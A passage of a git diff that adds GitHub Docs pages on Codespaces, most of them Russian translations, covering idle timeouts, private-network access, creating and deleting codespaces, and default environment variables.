variables.product.prodname_cli %} для создания codespace. + +{% warning %} + +**Предупреждение**. Плата за использование вычислительных ресурсов Codespaces взимается за период активности codespace. Если вы не используете codespace, но оно остается работающим и еще не истекло время ожидания, вам будет выставлен счет за общее время активности codespace, независимо от того, использовали ли вы его. Дополнительные сведения см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing). + +{% endwarning %} + +### Периоды ожидания для репозиториев, принадлежащих организации + +Организации могут задать политику максимального времени ожидания простоя для codespace, созданных из некоторых или всех своих репозиториев. Если политика организации устанавливает максимальное время ожидания, которое меньше заданного по умолчанию времени ожидания, вместо вашего параметра будет использоваться время ожидания организации. Вы получите уведомление об этом после создания codespace. Дополнительные сведения см. в разделе [Ограничение тайм-аута простоя](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period). + +{% webui %} + +## Настройка времени ожидания по умолчанию + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.codespaces-tab %} +1. В разделе "Тайм-аут простоя по умолчанию" введите нужное время и нажмите кнопку **Сохранить**. Время должно быть в пределах от 5 до 240 минут (4 часов). + ![Выбор времени ожидания](/assets/images/help/codespaces/setting-default-timeout.png) + +{% endwebui %} + +{% cli %} + +## Установка времени ожидания для codespace + +{% data reusables.cli.cli-learn-more %} + +Чтобы задать значение времени ожидания при создании пространства кода, используйте аргумент `idle-timeout` с подкомандой `codespace create`. Укажите время в минутах, а затем `m`. Время должно быть в пределах от 5 до 240 минут (4 часов). + +```shell +gh codespace create --idle-timeout 90m +``` + +Если вы не указываете время ожидания при создании пространства кода, будет использоваться время ожидания по умолчанию. Сведения о настройке времени ожидания по умолчанию см. на вкладке "Веб-браузер" на этой странице. В настоящее время вы не можете указывать время ожидания по умолчанию с помощью {% data variables.product.prodname_cli %}. + +{% endcli %} + +{% vscode %} + +## Установка времени ожидания + +Вы можете задать время ожидания по умолчанию в веб-браузере на {% data variables.product.prodname_dotcom_the_website %}. Кроме того, если вы используете {% data variables.product.prodname_cli %} для создания codespace, можно задать время ожидания для этого конкретного codespace. Дополнительные сведения см. на соответствующей вкладке. + +{% endvscode %} diff --git a/translations/ru-RU/content/codespaces/developing-in-codespaces/connecting-to-a-private-network.md b/translations/ru-RU/content/codespaces/developing-in-codespaces/connecting-to-a-private-network.md new file mode 100644 index 000000000000..499043b20e0a --- /dev/null +++ b/translations/ru-RU/content/codespaces/developing-in-codespaces/connecting-to-a-private-network.md @@ -0,0 +1,64 @@ +--- +title: Подключение к частной сети +intro: 'Вы можете подключить {% data variables.product.prodname_github_codespaces %} к ресурсам в частной сети, включая реестры пакетов, серверы лицензий и локальные базы данных.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Fundamentals + - Developer +ms.openlocfilehash: 92b8f2b9ea438a4cc799aec1969ff6773f90c298 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159925' +--- +## Сведения о сети пространства codespace + +По умолчанию пространства codespace кода имеют доступ ко всем ресурсам в общедоступном Интернете, включая диспетчеры пакетов, серверы лицензирования, базы данных и API облачной платформы, но у них нет доступа к ресурсам в частных сетях. + +## Подключение к ресурсам в частной сети + +В настоящее время существует два метода доступа к ресурсам в частной сети в {% data variables.product.prodname_github_codespaces %}. +- Использование расширения {% data variables.product.prodname_cli %} для настройки локального компьютера в качестве шлюза для удаленных ресурсов. +- Использование VPN. + +### Использование расширения GitHub CLI для доступа к удаленным ресурсам + +{% note %} + +**Примечание.** Расширение {% data variables.product.prodname_cli %} сейчас предоставляется в бета-версии и подлежит изменениям. + +{% endnote %} + +Расширение {% data variables.product.prodname_cli %} позволяет создать мост между codespace и вашим локальным компьютером, чтобы разрешить codespace обращаться к любому удаленному ресурсу, доступному с вашего компьютера. Codespace использует локальный компьютер в качестве сетевого шлюза для получения доступа к этим ресурсам. Дополнительные сведения см. в разделе [Использование {% data variables.product.prodname_cli %} для получения доступа к удаленным ресурсам](https://github.com/github/gh-net#codespaces-network-bridge). + + + + +### Использование VPN для доступа к ресурсам в частной сети + +В качестве альтернативы расширению {% data variables.product.prodname_cli %} вы можете использовать VPN для получения доступа к ресурсам за частной сетью из codespace. + +Для доступа к ресурсам в частной сети мы рекомендуем использовать такие средства VPN, как [OpenVPN](https://openvpn.net/). Дополнительные сведения см. в разделе [Использование клиента OpenVPN из {% data variables.product.prodname_github_codespaces %}](https://github.com/codespaces-contrib/codespaces-openvpn). + +Существует также ряд сторонних решений, которые, хотя и не были явно одобрены {% data variables.product.prodname_dotcom %}, предоставили примеры интеграции с {% data variables.product.prodname_github_codespaces %}. + +К таким сторонним решениям относятся следующие: + +- [Tailscale](https://tailscale.com/kb/1160/github-codespaces/) + +### Добавление в список разрешений частных ресурсов для пространств codespace + +Хотя {% data variables.product.prodname_dotcom %} публикует диапазоны IP-адресов для нескольких продуктов в своем Meta API, IP-адреса пространств codespace динамически назначаются, то есть не гарантируется, что у пространства codespace будет один и то же IP-адрес в течение дня. Мы настоятельно не рекомендуем пользователям включать весь диапазон IP-адресов, поскольку это обеспечит чрезмерно широкий доступ ко всем пространствам codespace (включая пользователей, не связанных с вашими пространствами codespace). + +Дополнительные сведения о Meta API см. в разделе [Meta](/rest/reference/meta). + +## Ограничение доступа к общедоступному Интернету + +В настоящее время нет способа ограничить доступ к пространствам codespace из общедоступного Интернета или ограничить доступ пользователей, прошедших проверку подлинности, к переадресованному порту. + +Дополнительные сведения о защите codespace см. в разделе [Безопасность в {% data variables.product.prodname_github_codespaces %}](/codespaces/codespaces-reference/security-in-github-codespaces). diff --git a/translations/ru-RU/content/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository.md b/translations/ru-RU/content/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository.md new file mode 100644 index 000000000000..e4492c0bb655 --- /dev/null +++ b/translations/ru-RU/content/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository.md @@ -0,0 +1,145 @@ +--- +title: Creating a codespace for a repository +intro: You can create a codespace for a branch in a repository to develop online. +redirect_from: + - /github/developing-online-with-github-codespaces/creating-a-codespace + - /github/developing-online-with-codespaces/creating-a-codespace + - /codespaces/developing-in-codespaces/creating-a-codespace +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Fundamentals + - Developer +shortTitle: Create a codespace for a repo +--- + +## About creating a codespace for a repository + +{% data reusables.codespaces.ways-to-create-a-codespace %} Use the tabs in this article to display instructions for each of these ways of creating a codespace. + +{% data reusables.codespaces.starting-new-project-template %} For more information, see "[Creating a codespace from a template](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template)." + +{% note %} + +**Note**: If you use a JetBrains IDE, you can use {% data variables.product.prodname_cli %} to create a codespace. You can then use the JetBrains Gateway application to open the codespace in a JetBrains IDE. For more information, see "[Using Codespaces in your JetBrains IDE](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide)." + +{% endnote %} + +You can use {% data variables.product.prodname_github_codespaces %} on your personal {% data variables.product.prodname_dotcom_the_website %} account, with the quota of free use included each month for accounts on the Free and Pro plans. {% data reusables.codespaces.codespaces-continue-by-paying %} + +Organizations can enable members and outside collaborators to create and use codespaces at the organization's expense. For more information, see "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization)." + +{% data reusables.codespaces.codespaces-are-personal %} + +If you create a codespace from a repository, the codespace will be associated with a specific branch, which cannot be empty. You can create more than one codespace per repository or even per branch. + +{% data reusables.codespaces.you-can-see-all-your-codespaces %} + +### The codespace creation process + +When you create a codespace, a number of steps happen to create and connect you to your development environment: + +- Step 1: VM and storage are assigned to your codespace. +- Step 2: Container is created and your repository is cloned. +- Step 3: You can connect to the codespace. +- Step 4: Codespace continues with post-creation setup. + +For more information on what happens when you create a codespace, see "[Deep Dive](/codespaces/getting-started/deep-dive)." + +For more information on the lifecycle of a codespace, see "[The codespace lifecycle](/codespaces/developing-in-codespaces/the-codespace-lifecycle)." + +If you want to use Git hooks for your codespace, then you should set up hooks using the [`devcontainer.json` lifecycle scripts](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_lifecycle-scripts), such as `postCreateCommand`, during step 4. Since your codespace container is created after the repository is cloned, any [git template directory](https://git-scm.com/docs/git-init#_template_directory) configured in the container image will not apply to your codespace. Hooks must instead be installed after the codespace is created. For more information on using `postCreateCommand`, see the [`devcontainer.json` reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_devcontainerjson-properties) in the {% data variables.product.prodname_vscode_shortname %} documentation. + +{% data reusables.codespaces.use-visual-studio-features %} + +{% data reusables.codespaces.prebuilds-crossreference %} + +## Creating a codespace for a repository + +{% webui %} + +{% data reusables.repositories.navigate-to-repo %} +1. Under the repository name, use the "Branch" dropdown menu, and select the branch you want to create a codespace for. + + ![Branch dropdown menu](/assets/images/help/codespaces/branch-drop-down.png) + +1. Click the **{% octicon "code" aria-label="The code icon" %} Code** button, then click the **Codespaces** tab. + + ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png) + + If codespaces for this repository are billable to an organization, or its parent enterprise, a message is displayed below the **Create codespace on BRANCH** button telling you who will pay for the codespace. + +1. Create your codespace, either using the default options, or after configuring advanced options: + + * **Use the default options** + + To create a codespace using the default options, click the plus sign ({% octicon "plus" aria-label="The plus icon" %}). Alternatively, if you don't currently have any codespaces for this repository, you can click **Create codespace on BRANCH**. + + * **Configure options** + + To configure advanced options for your codespace, such as a different machine type or a particular `devcontainer.json` file: + + 1. Click the ellipsis (**...**) at the top right of the **Codespaces** tab and select **New with options**. + + ![View the default machine type](/assets/images/help/codespaces/default-machine-type.png) + + 1. On the options page for your codespace, choose your preferred options from the dropdown menus. + + ![The codespace options page](/assets/images/help/codespaces/advanced-options.png) + + {% note %} + + **Notes** + + * You can bookmark the options page to give you a quick way to create a codespace for this repository and branch. + * The [https://github.com/codespaces/new](https://github.com/codespaces/new) page provides a quick way to create a codespace for any repository and branch. You can get to this page quickly by typing `codespace.new` into your browser's address bar. + * For more information about the `devcontainer.json` file, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#devcontainerjson)." + * For more information about machine types, see "[Changing the machine type for your codespace](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace#about-machine-types)." + * {% data reusables.codespaces.codespaces-machine-type-availability %} + + {% endnote %} + + 1. Click **Create codespace**. + +{% endwebui %} + +{% vscode %} + +{% data reusables.codespaces.creating-a-codespace-in-vscode %} + +{% endvscode %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +To create a new codespace, use the `gh codespace create` subcommand. + +```shell +gh codespace create +``` + +You are prompted to choose a repository. If codespaces for this repository are billable to an organization, or its parent enterprise, a message is displayed telling you who will pay for the codespace. You are then prompted to choose a branch, a dev container configuration file (if more than one is available), and a machine type (if more than one is available). + +Alternatively, you can use flags to specify some or all of the options: + +```shell +gh codespace create -r OWNER/REPO -b BRANCH --devcontainer-path PATH -m MACHINE-TYPE +``` + +In this example, replace `owner/repo` with the repository identifier. Replace `branch` with the name of the branch, or the full SHA hash of the commit, that you want to be initially checked out in the codespace. If you use the `-r` flag without the `b` flag, the codespace is created from the default branch. + +Replace `path` with the path to the dev container configuration file you want to use for the new codespace. If you omit this flag and more than one dev container file is available you will be prompted to choose one from a list. For more information about the dev container configuration file, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)." + +Replace `machine-type` with a valid identifier for an available machine type. Identifiers are strings such as: `basicLinux32gb` and `standardLinux32gb`. The type of machines that are available depends on the repository, your personal account, and your location. If you enter an invalid or unavailable machine type, the available types are shown in the error message. If you omit this flag and more than one machine type is available you will be prompted to choose one from a list. + +For full details of the options for this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_create). + +{% endcli %} + +## Further reading +- "[Opening an existing codespace](/codespaces/developing-in-codespaces/opening-an-existing-codespace)" +- "[Adding an 'Open in {% data variables.product.prodname_github_codespaces %}' badge](/codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge)" diff --git a/translations/ru-RU/content/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template.md b/translations/ru-RU/content/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template.md new file mode 100644 index 000000000000..bb6b66291fce --- /dev/null +++ b/translations/ru-RU/content/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template.md @@ -0,0 +1,105 @@ +--- +title: Создание codespace на основе шаблона +intro: 'Если вы начинаете новый проект, вы можете создать пространство кода из пустого шаблона или выбрать шаблон, специально разработанный для нужного типа работы.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Fundamentals + - Developer +shortTitle: Create a codespace from a template +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 7c6ffdb4099b5d5d6f37ec5ffa7d73f838b36c76 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159861' +--- +## Сведения о шаблонах для {% data variables.product.prodname_github_codespaces %} + +Если вы начинаете новый проект, вы можете быстро приступить к разработке, создав codespace на основе шаблона. Вы сможете работать над проектом в облачной среде разработки, сохранять файлы в облаке и публиковать свои работы в новом удаленном репозитории, которым можно поделиться с другими пользователями или клонировать на локальный компьютер. + +{% note %} + +**Примечание.** Счета за codespace, созданные на основе шаблона, а не из репозитория, всегда выставляются в вашей личной учетной записи. Дополнительные сведения см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces). + +{% endnote %} + +Вы можете начать с пустого шаблона, выбрать шаблоны, поддерживаемые {% data variables.product.company_short %} для популярных технологий, таких как React или Jupyter Notebook, или запустить пространство кода из любого репозитория шаблонов в {% data variables.product.prodname_dotcom %}. С пустым шаблоном вы начнете с пустого каталога с доступом к облачным вычислительным ресурсам и средствам, языкам и средам выполнения, которые предустановлены с изображением codespace по умолчанию. С помощью других шаблонов вы получите начальные файлы для технологии, с которой вы работаете, а также, как правило, некоторые дополнительные файлы, такие как файл сведений `.gitignore` , файл и файлы конфигурации контейнера разработки, содержащие некоторые пользовательские конфигурации среды. Дополнительные сведения о контейнерах разработки и образе по умолчанию см. в разделе [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers). + +Например, если создать codespace на основе шаблона React {% data variables.product.company_short %}, вы будете поступать в рабочую область, содержащую файлы шаблонов для простого приложения, например `index.js`, `app.js`и `package.json`. Вскоре после открытия codespace сервер разработки запустится автоматически, и вы сможете просматривать запущенное приложение на простой вкладке браузера в веб-клиенте {% data variables.product.prodname_vscode_shortname %}. + +![Снимок экрана: шаблон React, выполняющийся в codespace](/assets/images/help/codespaces/react-template.png) + +Файлы и конфигурация, включенные в шаблоны, определяются в репозиториях шаблонов. Репозиторий шаблонов клонируется в codespace при создании codespace. После этого ссылка будет разорвана, и пространство кода не будет связано с удаленным репозиторием, пока вы не опубликуете его. + +{% tip %} + +**Совет:** Чтобы помочь пользователям приступить к работе с платформой, библиотекой или другим проектом, можно настроить репозиторий шаблонов для использования с {% data variables.product.prodname_github_codespaces %}. Дополнительные сведения см. в разделе [Настройка репозитория шаблонов для {% data variables.product.prodname_github_codespaces %}](/codespaces/setting-up-your-project-for-codespaces/setting-up-a-template-repository-for-github-codespaces). + +{% endtip %} + +## Создание codespace на основе шаблона {% data variables.product.company_short %} + +Шаблоны, поддерживаемые {% data variables.product.company_short %}, включая пустой шаблон, доступны на странице "Ваши пространства кода". + +{% data reusables.codespaces.your-codespaces-procedure-step %} {% data reusables.codespaces.view-all-templates-step %} +1. При необходимости, чтобы просмотреть репозиторий шаблонов, содержащий файлы для шаблона, щелкните имя шаблона. + + ![Снимок экрана: раздел "Изучение шаблонов быстрого запуска" с выделенным элементом "React"](/assets/images/help/codespaces/react-template-name.png) + +1. Под шаблоном, который вы хотите запустить, щелкните **Использовать этот шаблон**. + + ![Снимок экрана: шаблоны быстрого запуска с выделенной кнопкой "Использовать этот шаблон" в шаблоне React](/assets/images/help/codespaces/react-template-button.png) + +{% data reusables.codespaces.template-codespaces-default-editor %} + +## Создание codespace из репозитория шаблонов + +Вы можете создать codespace из любого репозитория шаблонов, а затем опубликовать свою работу в новом репозитории, когда будете готовы. Дополнительные сведения о репозиториях шаблонов см. в разделе [Создание репозитория на основе шаблона](/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template#about-repository-templates). + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.codespaces.open-template-in-codespace-step %} + + {% note %} + + **Примечание:** Если вы являетесь хранителем репозитория шаблонов и хотите зафиксировать изменения в самом репозитории шаблонов, создайте пространство кода из раскрывающегося списка **{% octicon "code" aria-label="The code icon" %} Code** . Дополнительные сведения см. в разделе [Создание codespace для репозитория](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository). + + {% endnote %} + +{% data reusables.codespaces.template-codespaces-default-editor %} + +## Публикация в репозитории на {% data variables.product.product_name %} + +{% data reusables.codespaces.about-publishing-templates %} + +### Публикация из {% data variables.product.prodname_vscode_shortname %} + +{% data reusables.codespaces.publishing-template-codespaces %} + +При публикации codespace у вас есть доступ к большему набору параметров для настройки интерфейса {% data variables.product.prodname_github_codespaces %}. Например, вы можете: + +- Измените тип компьютера codespace, чтобы убедиться, что вы используете ресурсы, соответствующие выполняемой работе (см. [раздел Изменение типа компьютера для codespace](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace)). +- Разрешить {% data variables.product.prodname_dotcom %} автоматически использовать GPG для подписывания фиксаций, которые вы делаете в codespace (см. раздел [Управление проверкой GPG для {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces)). +- Совместное использование зашифрованных секретов с codespace (см. раздел [Управление зашифрованными секретами для codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)). + +### Публикация из {% data variables.product.prodname_dotcom_the_website %} + +Неопубликованное пространство кода можно опубликовать на странице "Ваши codespaces" на {% data variables.product.prodname_dotcom_the_website %}. Это полезно, если вы хотите опубликовать пространство кода, которое в настоящее время не открыто в браузере. В этом случае работа будет сохранена в репозитории, но не будет связи между существующим пространством кода и новым репозиторием. Однако вы можете перейти к новому репозиторию и создать оттуда codespace, и это пространство кода будет подключено к репозиторию. + +{% data reusables.codespaces.your-codespaces-procedure-step %} +1. Рядом с неопубликованным пространством кода щелкните многоточие (**...**), а затем выберите **Опубликовать в новом репозитории**. + + ![Снимок экрана: кнопка "Опубликовать в новом репозитории"](/assets/images/help/codespaces/publish-to-new-repository.png) +1. Выберите имя для нового репозитория, задайте для него значение **Общедоступный** или **Частный** и нажмите кнопку **Создать репозиторий**. + + ![Снимок экрана: раскрывающийся список "Опубликовать в новом репозитории"](/assets/images/help/codespaces/template-new-repository-settings.png) +1. При необходимости, чтобы просмотреть новый репозиторий, щелкните **Просмотреть репозиторий**. + +## Дополнительные материалы + +- [Создание codespace для репозитория](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository) +- [Жизненный цикл codespace](/codespaces/developing-in-codespaces/the-codespace-lifecycle) +- ["Использование системы управления версиями в codespace](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace)" diff --git a/translations/ru-RU/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md b/translations/ru-RU/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md new file mode 100644 index 000000000000..128bc04e9478 --- /dev/null +++ b/translations/ru-RU/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md @@ -0,0 +1,44 @@ +--- +title: Переменные среды по умолчанию для codespace +shortTitle: Default environment variables +intro: '{% data variables.product.prodname_dotcom %} задает переменные среды по умолчанию для каждой среды codespace.' +versions: + fpt: '*' + ghec: '*' +type: overview +topics: + - Codespaces + - Fundamentals + - Developer +ms.openlocfilehash: 1a57445bbffb3e1112299414e29796b716f2d801 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158928' +--- +## Сведения о переменных среды по умолчанию + +{% data variables.product.prodname_dotcom %} задает переменные среды по умолчанию для каждой среды codespace. Команды, выполняемые в codespace, могут создавать, считывать и изменять переменные среды. + +{% note %} + +**Примечание.** В переменных среды регистр символов не учитывается. + +{% endnote %} + +## Список переменных среды по умолчанию + +| Переменная среды | Описание | +| ---------------------|------------ | +| `CODESPACE_NAME` | Имя codespace, например `octocat-literate-space-parakeet-mld5`. | +| `CODESPACES` | Всегда `true`, когда находится в codespace. | +| `GIT_COMMITTER_EMAIL` | Адрес электронной почты для поля "Автор" будущих фиксаций `git`. | +| `GIT_COMMITTER_NAME` | Имя поля "Кем внесено" будущих фиксаций `git`. | +| `GITHUB_CODESPACES_PORT_FORWARDING_DOMAIN`| Возвращает домен переадресованного порта {% data variables.product.prodname_github_codespaces %}. Например, `preview.app.github.dev`. | +| `GITHUB_API_URL` | Возвращает URL-адрес API. Например, `{% data variables.product.api_url_code %}`. | +| `GITHUB_GRAPHQL_URL` | Возвращает URL-адрес API GraphQL. Например, `{% data variables.product.graphql_url_code %}`. | +| `GITHUB_REPOSITORY` | Имя владельца и репозитория. Например, `octocat/Hello-World`. | +| `GITHUB_SERVER_URL`| Возвращает URL-адрес сервера {% data variables.product.product_name %}. Например, `https://{% data variables.product.product_url %}`. | +| `GITHUB_TOKEN` | Подписанный маркер проверки подлинности, представляющий пользователя в codespace. Его можно использовать для выполнения прошедших проверку подлинности вызовов API GitHub. Дополнительные сведения см. в статье "[Проверка подлинности](/codespaces/codespaces-reference/security-in-codespaces#authentication)". | +| `GITHUB_USER` | Имя пользователя, инициировавшего codespace. Например, `octocat`. | diff --git a/translations/ru-RU/content/codespaces/developing-in-codespaces/deleting-a-codespace.md b/translations/ru-RU/content/codespaces/developing-in-codespaces/deleting-a-codespace.md new file mode 100644 index 000000000000..9d7f97dd8bbc --- /dev/null +++ b/translations/ru-RU/content/codespaces/developing-in-codespaces/deleting-a-codespace.md @@ -0,0 +1,139 @@ +--- +title: Удаление codespace +intro: 'Codespace можно удалить, если он больше не требуется.' +redirect_from: + - /github/developing-online-with-github-codespaces/deleting-a-codespace + - /github/developing-online-with-codespaces/deleting-a-codespace +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Fundamentals + - Developer +shortTitle: Delete a codespace +ms.openlocfilehash: c9f1f6eb407c985d8981504de28e39a4bf742f7a +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158664' +--- +Пространство кода можно удалить различными способами: в терминале с помощью {% data variables.product.prodname_cli %}, в {% data variables.product.prodname_vscode %} или в веб-браузере. Используйте вкладки в этой статье, чтобы отобразить инструкции по каждому из этих способов удаления codespace. + +{% note %} + +**Примечание**. Вы не можете удалить пространство кода из шлюза JetBrains, клиентского приложения JetBrains или из JupyterLab. + +{% endnote %} + +За хранение сред codespace взимается плата. Поэтому следует удалить среды codespace, которые вам больше не нужны. Дополнительные сведения см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces). + +{% data reusables.codespaces.max-number-codespaces %} + +## Удаление codespace + +{% webui %} + +{% data reusables.codespaces.your-codespaces-procedure-step %} +1. Справа от среды codespace, которую требуется удалить, щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, а затем щелкните **{% octicon "trash" aria-label="The trash icon" %} Удалить**. + + ![Кнопка "Удалить"](/assets/images/help/codespaces/delete-codespace.png) + +{% endwebui %} + +{% vscode %} + +{% data reusables.codespaces.deleting-a-codespace-in-vscode %} + +{% endvscode %} + + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +Чтобы удалить codespace, используйте подкоманду `gh codespace delete`, а затем выберите codespace в открывшемся списке. + +```shell +gh codespace delete +``` + +Если у вас есть несохраненные изменения, будет предложено подтвердить удаление. С помощью флага `--force` можно выполнить удаление без вывода этого запроса. + +Дополнительные сведения об этой команде см. в [ руководстве по {% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_codespace_delete). + +{% endcli %} + +## Массовое удаление codespace + +{% webui %} + +Вы можете использовать {% data variables.product.prodname_cli %} для удаления нескольких или всех ваших codespace с помощью одной команды. Дополнительные сведения см. на вкладке {% data variables.product.prodname_cli %} в верхней части этой страницы. + +{% endwebui %} + +{% vscode %} + +Вы можете использовать {% data variables.product.prodname_cli %} для удаления нескольких или всех ваших codespace с помощью одной команды. Дополнительные сведения см. на вкладке {% data variables.product.prodname_cli %} в верхней части этой страницы. + +{% endvscode %} + + +{% cli %} + +Вы можете удалить несколько или все свои codespace с помощью одной команды, используя `gh codespace delete`, за которой следует один из следующих флагов: + +`--all` — удалить все codespace. + +`--repo REPOSITORY` — удалить все codespace для этого репозитория. Или используйте вместе с флагом `--days` для фильтрации codespace по времени. + +`--days NUMBER` — удалить все codespace старше указанного количества дней. Может использоваться вместе с флагом `--repo`. + +По умолчанию вам будет предложено подтвердить удаление любых codespace, содержащих несохраненные изменения. Вы можете использовать флаг `--force`, чтобы пропустить это подтверждение. + +### Пример + +Удалите все codespace для репозитория `octo-org/octo-repo`, созданного вами более 7 дней назад. + +``` +gh codespace delete --repo octo-org/octo-repo --days 7 +``` + +{% endcli %} + +## Удаление сред codespace в организации + +Как владелец организации вы можете использовать {% data variables.product.prodname_cli %} для удаления любой среды codespace в вашей организации. + +{% webui %} + +Дополнительные сведения см. на вкладке {% data variables.product.prodname_cli %} в верхней части этой страницы. + +{% endwebui %} + +{% vscode %} + +Дополнительные сведения см. на вкладке {% data variables.product.prodname_cli %} в верхней части этой страницы. + +{% endvscode %} + +{% cli %} + +1. Введите одну из этих команд, чтобы отобразить список сред codespace. + * `gh codespace delete --org ORGANIZATION` — перечисляет текущие среды codespace в указанной организации. + * `gh codespace delete --org ORGANIZATION --user USER` — перечисляет только среды codespace, созданные указанным пользователем. + Вы должны быть владельцем указанной организации. +1. В списке сред codespace перейдите к среде codespace, которую требуется удалить. +1. Чтобы удалить выбранную среду codespace, нажмите клавишу ВВОД. + + Если codespace содержит несохраненные изменения, вам будет предложено подтвердить удаление. + +{% endcli %} + +Вы также можете удалить среды codespace вашей организации с помощью REST API. Дополнительные сведения см. в статье [Организации Codespaces](/rest/codespaces/organizations#delete-a-codespace-from-the-organization). + +## Дополнительные материалы +- [Жизненный цикл codespace](/codespaces/developing-in-codespaces/the-codespace-lifecycle) +- Настройка [автоматического удаления codespaces](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces) diff --git a/translations/ru-RU/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md b/translations/ru-RU/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md new file mode 100644 index 000000000000..f2e001211d1a --- /dev/null +++ b/translations/ru-RU/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md @@ -0,0 +1,141 @@ +--- +title: Разработка в codespace +intro: 'Вы можете работать в codespace с помощью браузера, {% data variables.product.prodname_vscode %}, интегрированной среды разработки JetBrains или командной оболочки.' +redirect_from: + - /github/developing-online-with-github-codespaces/developing-in-a-codespace + - /github/developing-online-with-codespaces/developing-in-a-codespace +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Fundamentals + - Developer +shortTitle: Develop in a codespace +ms.openlocfilehash: e941373ade8c2f8365e7b654733b7ee029a6a7dd +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159072' +--- +{% jetbrains %} + +{% data reusables.codespaces.codespaces-jetbrains-beta-note %} + +{% endjetbrains %} + +## Сведения о разработке с помощью {% data variables.product.prodname_github_codespaces %} + +Вы можете разрабатывать код в codespace с помощью выбранного средства: + +* Командная оболочка через SSH-подключение, инициированное с помощью {% data variables.product.prodname_cli %}. +* Один из ИНДЕ JetBrains через шлюз JetBrains. +* Классическое приложение {% data variables.product.prodname_vscode %}. +* Браузерная версия {% data variables.product.prodname_vscode %}. + +{% webui %} + +Вкладки в этой статье позволяют переключаться между сведениями для каждого из этих способов работы. В настоящее время вы находитесь на вкладке версии веб-браузера {% data variables.product.prodname_vscode %}. + +## Работа в codespace в браузере + +Использование {% data variables.product.prodname_codespaces %} в браузере обеспечивает полнофункциональный интерфейс разработки. Вы можете редактировать код, выполнять отладку, использовать команды Git и запускать приложение. + +![Снимок экрана с заметками: codespace в браузере](/assets/images/help/codespaces/codespace-overview-annotated.png) + +{% data reusables.codespaces.vscode-interface-annotation %} {% data reusables.codespaces.use-chrome %} Дополнительные сведения см. в разделе [Устранение неполадок клиентов {% data variables.product.prodname_github_codespaces %}](/codespaces/troubleshooting/troubleshooting-github-codespaces-clients). +{% data reusables.codespaces.developing-in-vscode %} {% data reusables.codespaces.navigating-to-a-codespace %} + +{% endwebui %} + +{% vscode %} + +Вкладки в этой статье позволяют переключаться между сведениями для каждого из этих способов работы. В настоящее время вы находитесь на вкладке {% data variables.product.prodname_vscode %}. + +## Работа в codespace в {% data 